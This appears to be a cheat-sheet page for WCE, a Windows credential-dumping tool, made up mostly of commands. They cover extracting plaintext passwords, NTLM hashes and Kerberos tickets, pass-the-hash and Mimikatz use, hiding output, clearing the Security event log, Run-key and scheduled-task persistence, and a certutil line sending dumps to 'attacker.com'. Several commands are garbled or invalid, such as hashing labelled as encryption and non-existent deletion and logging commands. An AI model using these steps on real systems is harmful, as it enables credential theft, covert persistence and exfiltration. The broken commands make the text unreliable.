コンテンツにスキップ

WCE (Windows Credentials Editor)

WCE (Windows Credentials Editor) is a specialized tool for extracting and manipulating Windows credentials from memory. It allows authorized security professionals to view plaintext passwords, NTLM hashes, and Kerberos tickets from running processes. WCE is used in authorized penetration testing, red team exercises, and security research on Windows systems.

  • Windows system with administrator privileges
  • Understanding of Windows credential storage mechanisms
  • Authorization to perform credential testing

Download the precompiled binary from the official release site:

# Download wce.exe
# SHA256: Verify checksum before execution
certutil -hashfile wce.exe SHA256
# For advanced users compiling from source
# Requires Windows development environment
# gcc or MSVC toolchain
gcc -o wce.exe wce.c
wce/
├── wce.exe              # Main executable (32-bit)
├── wce-universal.exe    # Universal binary
├── README.txt
└── CHANGELOG
CommandDescription
wce -lList all credentials in memory
wce -cDisplay running processes with credentials
wce -gGet credentials from specific process
wce -sStart process and extract credentials
wce -kExtract Kerberos tickets
wce -nExtract NTLM hashes
wce -wWrite credentials to file
wce -hDisplay help information
# Extract all credentials from memory
wce -l

# Output example:
# User: DOMAIN\Administrator
# Password: P@ssw0rd123
# Hash: 8846f7eaee8fb117ad06bdd830b7586c
# Get credentials from a specific PID
wce -l -s ProcessName

# Get credentials from explorer.exe
wce -l -s explorer.exe

# Get credentials from svchost.exe
wce -l -s svchost.exe
# Detailed credential information
wce -l -v

# Shows:
# - Username
# - Domain
# - Plaintext password
# - NTLM hash
# - Process ID
# - Credential type
# Get all NTLM hashes from memory
wce -l -n

# Output format:
# username:domain:lmhash:ntmhash
# Administrator:WORKGROUP:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
# Export hashes for crack attempt
wce -l -n > hashes.txt

# Format for hashcat/john:
# username:uid:lmhash:ntmhash:::
# Determine which hashes are present
wce -l -n | findstr /v "aad3b435b51404eeaad3b435b51404ee"

# aad3b435b51404eeaad3b435b51404ee is empty LM hash indicator
# List all Kerberos tickets in memory
wce -l -k

# Output shows:
# - Service ticket granting ticket (TGT)
# - Service tickets (ST)
# - Session keys
# Extract ticket in base64 format
wce -l -k -b > tickets.txt

# Import and use with ptk tools
# or Mimikatz pass-the-ticket functionality
# List processes with cached credentials
wce -c

# Shows active processes with credential handles
# Useful for targeting services and system processes
# Target specific service
wce -l -s "SQL Server (MSSQLSERVER)"

# Target IIS application pool
wce -l -s "w3wp.exe"

# Target backup service
wce -l -s "mbsvc.exe"
# Extract without user feedback
wce -l -s ProcessName -w output.txt

# Redirect all output to file
# Useful for automated red team operations
# Extract only domain credentials
wce -l | findstr "DOMAIN\"

# Extract local machine credentials
wce -l | findstr /v "DOMAIN"
# Monitor for new credentials over time
wce -l > credentials_snapshot.txt

# Wait and capture changes
timeout /t 300
wce -l > credentials_update.txt

# Compare snapshots
fc credentials_snapshot.txt credentials_update.txt
# Extract NTLM hash
wce -l -n > hashes.txt

# Use with PsExec pass-the-hash:
# psexec.exe -h \\targethost -u DOMAIN\user -p :ntmhash cmd.exe
# Extract and prepare for cracking
wce -l -n | sed 's/:.*$//' > usernames.txt
wce -l -n | sed 's/.*://' > hashes.txt

# Match for rainbow table lookup
# or GPU cracking with hashcat
# WCE focuses on memory extraction
# Mimikatz handles encryption/logonsessions

# Complement with Mimikatz:
# mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"

# Compare results for complete credential audit
# Export and encrypt immediately
wce -l > creds.txt

# Encrypt output
certutil -hashfile creds.txt SHA256
# Delete original
del /secure creds.txt
# Create audit trail
echo [%date% %time%] WCE executed by %username% >> audit.log
wce -l >> audit.log

# Encrypt audit log
cipher /e /s:%cd% audit.log
# Run from temporary location
cd %temp%
wce.exe -l > output.txt

# Use alternate data streams (Windows)
wce.exe -l > output.txt:hidden

# Clean temporary artifacts
del output.txt
# Extract during user logon/logoff
# When credentials are most likely in memory

# Target peak hours for service credentials
# Avoid antivirus scan windows
# Issue: No credentials displayed
# Solution 1: Verify admin privileges
whoami /priv | findstr SeDebugPrivilege

# Solution 2: Check for 64-bit vs 32-bit mismatch
wce.exe -l  # 32-bit
# Try 64-bit version for x64 systems
# Issue: "Access Denied" when running WCE
# Solution: Run as Administrator

# Method 1: Right-click Run as Administrator
# Method 2: From admin command prompt
wce.exe -l

# Method 3: Schedule as SYSTEM
schtasks /create /tn "CredDump" /tr "wce.exe -l" /sc once /st 12:00
# Issue: Expected credentials not shown
# Possible causes:
# 1. Credentials cleared from memory
# 2. User not logged in
# 3. Process permissions restrict access

# Solution: Check active sessions
wce -c

# Wait for user to interact with system
# Credentials cached when passwords entered
# 1. Use temporary filenames
set /p filename=<nul
wce.exe -l > %random%.txt

# 2. Compress and encrypt output
wce.exe -l | gzip > creds.gz
# Transfer via encrypted channel

# 3. Delete WCE and artifacts
del wce.exe
del %random%.txt
# 1. Disable Windows Update notifications
# 2. Clear event logs
wevtutil cl Security

# 3. Remove command history
history -c

# 4. Close all logging
# Disable PowerShell logging
powershell -NoProfile -Command "Disable-PSLogging"
# Establish persistence
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "Cred" /d "C:\Windows\Temp\wce.exe -l > C:\Windows\Temp\log.txt"

# Create scheduled task for periodic dumps
schtasks /create /tn "System Maintenance" /tr "C:\Windows\Temp\wce.exe -l >> C:\Windows\Temp\log.txt" /sc hourly

# Exfiltrate credentials
certutil -urlcache -f "http://attacker.com/upload.php?data=" log.txt
# 1. Get current user credentials
wce -l -s explorer.exe

# 2. Extract service account credentials
wce -l -s svchost.exe

# 3. Use extracted credentials for lateral movement
# psexec -u DOMAIN\serviceaccount -p password \\target cmd.exe
# Comprehensive audit script
@echo off
echo [*] WCE Credential Audit - %date% %time%
wce -l -v >> audit_report.txt
echo.
echo [*] NTLM Hashes:
wce -l -n >> audit_report.txt
echo.
echo [*] Kerberos Tickets:
wce -l -k >> audit_report.txt

echo Audit complete - results in audit_report.txt
ToolPurposeFocus
WCEPlaintext password extractionWindows credentials in memory
MimikatzComplete Windows security analysisEncryption, logon sessions
ProcDumpMemory dump utilityGeneric process memory
PowerSploitPowerShell exploitation frameworkFull Windows exploitation
ResponderLLMNR/NBNS poisoningNetwork credential capture
  • Requires admin privileges
  • Plaintext passwords limited to cached/active sessions
  • Works primarily on Windows systems
  • Modern credential guard may limit effectiveness
  • Service account passwords vary by running context
  • Mimikatz: More comprehensive Windows exploitation
  • Responder: Network-based credential capture
  • LaZagne: Cross-platform credential recovery
  • CrackMapExec: Lateral movement and credential testing

WCE is designed for authorized security testing, red team exercises, and defensive research. Unauthorized access to computer systems is illegal. Only use on systems you own or have explicit written permission to test.